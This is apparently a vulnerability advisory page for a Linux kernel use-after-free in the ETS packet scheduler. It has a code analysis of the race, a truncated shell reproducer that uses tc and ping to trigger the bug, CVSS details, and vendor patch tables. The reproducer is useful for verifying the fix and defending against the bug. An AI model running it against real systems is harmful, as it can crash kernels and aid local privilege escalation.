In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
[email protected] says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by [email protected])
``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | — | Upgrade kernel-devel-matchedUpgrade kernel-modules-coreUpgrade kernel-zfcpdump-modulesUpgrade kernel-rt-64k-modulesUpgrade kernel-64k-debug-devel-matchedUpgrade kernel-uki-virt-addonsUpgrade rvUpgrade kernel-rt-64k-debug-develUpgrade kernel-headersUpgrade kernel-cross-headersUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-64k-debugUpgrade kernel-64k-devel-matchedUpgrade kernel-rt-64k-debug-modulesUpgrade perfUpgrade kernel-64k-coreUpgrade kernelUpgrade kernel-rt-64k-debug-coreUpgrade kernel-abi-stablelistsUpgrade kernel-toolsUpgrade kernel-rtUpgrade kernel-rt-debug-modules-extraUpgrade kernel-debug-devel-matchedUpgrade kernel-debug-modules-extraUpgrade kernel-rt-modules-extraUpgrade kernel-tools-libs-develUpgrade kernel-docUpgrade kernel-rt-64kUpgrade kernel-zfcpdump-coreUpgrade libperfUpgrade kernel-rt-64k-modules-extraUpgrade kernel-64k-debug-coreUpgrade kernel-rt-64k-modules-coreUpgrade kernel-rt-modules-coreUpgrade kernel-64k-debug-modules-extraUpgrade kernel-tools-libsUpgrade kernel-rt-coreUpgrade kernel-modules-extraUpgrade kernel-rt-debug-modules-coreUpgrade kernel-debug-coreUpgrade rtlaUpgrade kernel-debug-modules-coreUpgrade kernel-64k-debug-develUpgrade kernel-rt-64k-develUpgrade kernel-64k-develUpgrade kernel-uki-virtUpgrade kernel-coreUpgrade kernel-64k-modules-extraUpgrade kernel-debug-modulesUpgrade kernel-rt-debug-coreUpgrade kernel-64k-debug-modules-coreUpgrade kernel-64kUpgrade kernel-develUpgrade kernel-debug-uki-virtUpgrade kernel-rt-64k-debug-modules-extraUpgrade kernel-zfcpdump-modules-extraUpgrade python3-perfUpgrade kernel-zfcpdumpUpgrade kernel-debugUpgrade kernel-rt-debug-modulesUpgrade kernel-64k-modulesUpgrade kernel-rt-64k-coreUpgrade kernel-rt-debugUpgrade kernel-rt-64k-debug-modules-coreUpgrade kernel-rt-debug-develUpgrade kernel-modulesUpgrade bpftoolUpgrade kernel-rt-modulesUpgrade kernel-64k-modules-coreUpgrade kernel-rt-develUpgrade kernel-debug-develUpgrade kernel-64k-debug-modulesUpgrade kernel-rt-64k-debugUpgrade kernel-zfcpdump-develUpgrade kernel-zfcpdump-devel-matched | Jul 12, 2026 | Jul 9, 2026 |
| Debian | — | Upgrade linux-6.1Upgrade linux | Feb 11, 2026 | Feb 11, 2026 |
| Oracle_linux | — | Upgrade kernel-uek | Feb 24, 2026 | Jan 13, 2026 |
| Redhat_linux | — | Upgrade kernel-rtNo solution existsUpgrade kernel | Jul 10, 2026 | Jan 13, 2026 |
| Rocky_linux | — | Upgrade kernel-rt-debug-modules-extraUpgrade kernel-rt-modulesUpgrade kernel-develUpgrade rtlaUpgrade kernel-modules-coreUpgrade kernel-debugUpgrade kernel-modules-extraUpgrade kernel-rt-debug-modulesUpgrade kernel-coreUpgrade kernel-rt-coreUpgrade kernel-modules-extra-matchedUpgrade kernel-debug-develUpgrade kernel-debug-modulesUpgrade kernel-zfcpdumpUpgrade kernel-zfcpdump-develUpgrade kernel-rt-debugUpgrade kernel-tools-debuginfoUpgrade kernel-debug-uki-virtUpgrade kernel-debuginfoUpgrade perf-debuginfoUpgrade kernel-rt-debug-develUpgrade kernel-debug-modules-coreUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-rt-debug-debuginfoUpgrade kernel-modulesUpgrade kernel-uki-virtUpgrade kernel-tools-libsUpgrade kernel-rt-develUpgrade kernel-debug-debuginfoUpgrade kernel-debuginfo-common-x86_64Upgrade python3-perf-debuginfoUpgrade kernel-debug-coreUpgrade kernel-rt-debug-modules-coreUpgrade libperfUpgrade rvUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-rt-modules-extraUpgrade kernel-debuginfo-common-s390xUpgrade python3-perfUpgrade kernel-zfcpdump-modulesUpgrade kernel-debug-modules-extraUpgrade kernel-rt-modules-coreUpgrade libperf-debuginfoUpgrade kernel-rtUpgrade kernelUpgrade perfUpgrade kernel-tools-libs-develUpgrade kernel-rt-debuginfoUpgrade kernel-devel-matchedUpgrade kernel-zfcpdump-coreUpgrade kernel-toolsUpgrade kernel-zfcpdump-debuginfoUpgrade kernel-rt-debug-coreUpgrade kernel-uki-virt-addonsUpgrade kernel-debug-devel-matchedUpgrade kernel-zfcpdump-modules-core | Jul 13, 2026 | Jul 11, 2026 |
| Ubuntu | — | Upgrade linux-image-raspi-6.17Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-lowlatency-5.15Upgrade linux-image-virtual-hwe-24.04Upgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-aws-fipsUpgrade linux-image-6.17.0-1012-gcp-64kUpgrade linux-image-6.17.0-22-generic-64kUpgrade linux-image-6.17.0-1011-oracleUpgrade linux-image-6.8.0-1052-raspiUpgrade linux-image-nvidia-tegra-rtUpgrade linux-image-virtualUpgrade linux-image-5.15.0-1067-xilinx-zynqmpUpgrade linux-image-6.8.0-1054-gcp-fipsUpgrade linux-image-gkeUpgrade linux-image-lowlatency-64k-5.15Upgrade linux-image-generic-hwe-20.04Upgrade linux-image-oem-24.04bUpgrade linux-image-virtual-5.15Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-gcp-5.15Upgrade linux-image-gcp-64k-6.17Upgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-fips-5.15Upgrade linux-image-gcp-6.17Upgrade linux-image-5.15.0-1098-nvidia-lowlatencyUpgrade linux-image-6.17.0-1011-oracle-64kUpgrade linux-image-oem-22.04bUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-5.15.0-1095-kvmUpgrade linux-image-oem-20.04dUpgrade linux-image-oem-22.04dUpgrade linux-image-6.8.0-1059-azureUpgrade linux-image-6.8.0-1052-aws-fipsUpgrade linux-image-aws-5.15Upgrade linux-image-ibm-lts-24.04Upgrade linux-image-6.8.0-1051-nvidia-64kUpgrade linux-image-kvmUpgrade linux-image-6.8.0-1051-nvidiaUpgrade linux-image-6.8.0-1054-azure-fipsUpgrade linux-image-6.8.0-1050-gke-64kUpgrade linux-image-nvidia-6.8Upgrade linux-image-6.8.1-1047-realtimeUpgrade linux-image-aws-64k-5.15Upgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-xilinx-zynqmp-5.15Upgrade linux-image-generic-hwe-22.04Upgrade linux-image-generic-hwe-24.04Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-intel-iot-realtime-5.15Upgrade linux-image-6.17.0-1013-azureUpgrade linux-image-aws-fips-6.8Upgrade linux-image-azure-fipsUpgrade linux-image-nvidia-lowlatency-5.15Upgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-oem-6.17Upgrade linux-image-awsUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1051-ibmUpgrade linux-image-6.8.0-110-fipsUpgrade linux-image-lowlatency-6.8Upgrade linux-image-oracle-64k-6.17Upgrade linux-image-realtimeUpgrade linux-image-5.15.0-1103-gcp-fipsUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-5.15.0-1044-nvidia-tegra-igx-rtUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-gkeop-5.15Upgrade linux-image-5.15.0-1098-intel-iotgUpgrade linux-image-gcp-6.8Upgrade linux-image-5.15.0-1102-realtimeUpgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-aws-64k-lts-22.04Upgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-azure-cvmUpgrade linux-image-5.15.0-1103-awsUpgrade linux-image-oem-20.04Upgrade linux-image-5.15.0-173-fipsUpgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-oracle-6.8Upgrade linux-image-6.8.0-1049-oracle-64kUpgrade linux-image-azure-fips-6.8Upgrade linux-image-raspi-nolpaeUpgrade linux-image-oracleUpgrade linux-image-gcp-64k-6.8Upgrade linux-image-6.17.0-1012-aws-64kUpgrade linux-image-6.8.0-110-generic-64kUpgrade linux-image-oracle-6.17Upgrade linux-image-aws-64kUpgrade linux-image-aws-lts-24.04Upgrade linux-image-oem-24.04cUpgrade linux-image-generic-5.15Upgrade linux-image-generic-64k-6.8Upgrade linux-image-fips-6.8Upgrade linux-image-5.15.0-173-generic-lpaeUpgrade linux-image-5.15.0-1103-gcpUpgrade linux-image-aws-64k-6.8Upgrade linux-image-5.15.0-1110-azureUpgrade linux-image-realtime-5.15Upgrade linux-image-nvidia-tegra-igx-5.15Upgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-nvidia-tegra-igx-rt-5.15Upgrade linux-image-5.15.0-1109-azure-fipsUpgrade linux-image-5.15.0-1109-azureUpgrade linux-image-5.15.0-1100-oracleUpgrade linux-image-5.15.0-1055-nvidia-tegra-rtUpgrade linux-image-xilinx-6.8Upgrade linux-image-oem-22.04cUpgrade linux-image-nvidia-tegraUpgrade linux-image-intel-iotgUpgrade linux-image-intelUpgrade linux-image-5.15.0-173-genericUpgrade linux-image-aws-6.17Upgrade linux-image-6.8.0-110-lowlatency-64kUpgrade linux-image-6.8.0-1049-oracleUpgrade linux-image-6.8.0-1029-xilinxUpgrade linux-image-6.17.0-1012-awsUpgrade linux-image-5.15.0-173-lowlatency-64kUpgrade linux-image-5.15.0-1044-nvidia-tegra-igxUpgrade linux-image-raspi-6.8Upgrade linux-image-raspi-5.15Upgrade linux-image-lowlatency-64kUpgrade linux-image-ibmUpgrade linux-image-generic-64kUpgrade linux-image-generic-6.8Upgrade linux-image-generic-6.17Upgrade linux-image-azureUpgrade linux-image-aws-lts-22.04Upgrade linux-image-aws-6.8Upgrade linux-image-6.17.0-1014-raspiUpgrade linux-image-ibm-5.15Upgrade linux-image-oracle-64k-6.8Upgrade linux-image-raspi-realtimeUpgrade linux-image-raspiUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-gke-64kUpgrade linux-image-azure-lts-22.04Upgrade linux-image-5.15.0-1086-gkeopUpgrade linux-image-5.15.0-1055-nvidia-tegraUpgrade linux-image-xilinxUpgrade linux-image-virtual-6.8Upgrade linux-image-realtime-hwe-22.04Upgrade linux-image-oem-20.04bUpgrade linux-image-nvidia-tegra-rt-5.15Upgrade linux-image-nvidia-tegra-5.15Upgrade linux-image-nvidia-lowlatency-6.8Upgrade linux-image-5.15.0-1103-aws-fipsUpgrade linux-image-kvm-5.15Upgrade linux-image-xilinx-zynqmpUpgrade linux-image-generic-lpaeUpgrade linux-image-azure-lts-24.04Upgrade linux-image-6.8.0-110-genericUpgrade linux-image-5.15.0-173-lowlatencyUpgrade linux-image-5.15.0-1103-aws-64kUpgrade linux-image-realtime-6.17Upgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-gke-64k-6.8Upgrade linux-image-virtual-hwe-22.04Upgrade linux-image-5.15.0-1099-gkeUpgrade linux-image-5.15.0-1097-raspiUpgrade linux-image-6.8.0-1037-gkeopUpgrade linux-image-6.8.0-1022-nvidia-tegra-rtUpgrade linux-image-virtual-hwe-20.04Upgrade linux-image-ibm-classicUpgrade linux-image-gke-6.8Upgrade linux-image-genericUpgrade linux-image-raspi-realtime-6.8Upgrade linux-image-6.8.0-1022-nvidia-tegraUpgrade linux-image-6.17.0-22-genericUpgrade linux-image-5.15.0-173-generic-64kUpgrade linux-image-5.15.0-1098-nvidiaUpgrade linux-image-5.15.0-1094-intel-iot-realtimeUpgrade linux-image-fipsUpgrade linux-image-6.17.0-1020-oemUpgrade linux-image-6.8.0-1051-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1052-aws-64kUpgrade linux-image-6.8.0-1051-nvidia-lowlatencyUpgrade linux-image-gcpUpgrade linux-image-oem-24.04dUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-realtime-6.8.1Upgrade linux-image-oracle-64kUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-oem-24.04aUpgrade linux-image-generic-64k-5.15Upgrade linux-image-azure-6.8Upgrade linux-image-azure-5.15Upgrade linux-image-6.8.0-1054-azureUpgrade linux-image-oracle-5.15Upgrade linux-image-nvidia-lowlatencyUpgrade linux-image-oem-22.04Upgrade linux-image-nvidia-5.15Upgrade linux-image-nvidiaUpgrade linux-image-lowlatencyUpgrade linux-image-gcp-fips-5.15Upgrade linux-image-gke-5.15Upgrade linux-image-intel-iotg-5.15Upgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-gcp-64kUpgrade linux-image-azure-6.17Upgrade linux-image-6.8.0-110-lowlatencyUpgrade linux-image-6.8.0-1054-gcp-64kUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-6.8.0-1052-awsUpgrade linux-image-6.8.0-2042-raspi-realtimeUpgrade linux-image-ibm-6.8Upgrade linux-image-generic-lpae-5.15Upgrade linux-image-nvidia-64kUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-generic-64k-6.17Upgrade linux-image-azure-fips-5.15Upgrade linux-image-gkeop-6.8Upgrade linux-image-6.8.0-1054-gcpUpgrade linux-image-aws-fips-5.15Upgrade linux-image-6.17.0-1012-gcpUpgrade linux-image-5.15.0-1097-ibmUpgrade linux-image-oem-24.04Upgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-oem-22.04aUpgrade linux-image-oem-20.04cUpgrade linux-image-virtual-6.17Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-6.8.0-1050-gkeUpgrade linux-image-6.17.0-1010-realtimeUpgrade linux-image-gkeopUpgrade linux-image-gcp-fips-6.8Upgrade linux-image-gcp-fipsUpgrade linux-image-aws-64k-6.17 | Mar 17, 2026 | Jan 13, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | May 27, 2026 | Jan 13, 2026 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub